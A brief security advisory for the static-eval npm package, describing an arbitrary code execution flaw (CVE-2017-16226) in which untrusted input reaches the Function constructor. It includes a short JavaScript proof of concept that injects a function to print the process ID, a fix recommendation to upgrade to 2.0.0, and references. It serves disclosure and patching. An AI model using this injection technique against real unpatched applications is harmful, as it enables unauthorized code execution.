Affected versions of static-eval pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id

Recommendation

Update to version 2.0.0 or later.

References

• https://nvd.nist.gov/vuln/detail/CVE-2017-16226
• browserify/static-eval#18
• GHSA-5mjw-6jrh-hvfq
• https://maustin.net/articles/2017-10/static_eval
• https://www.npmjs.com/advisories/548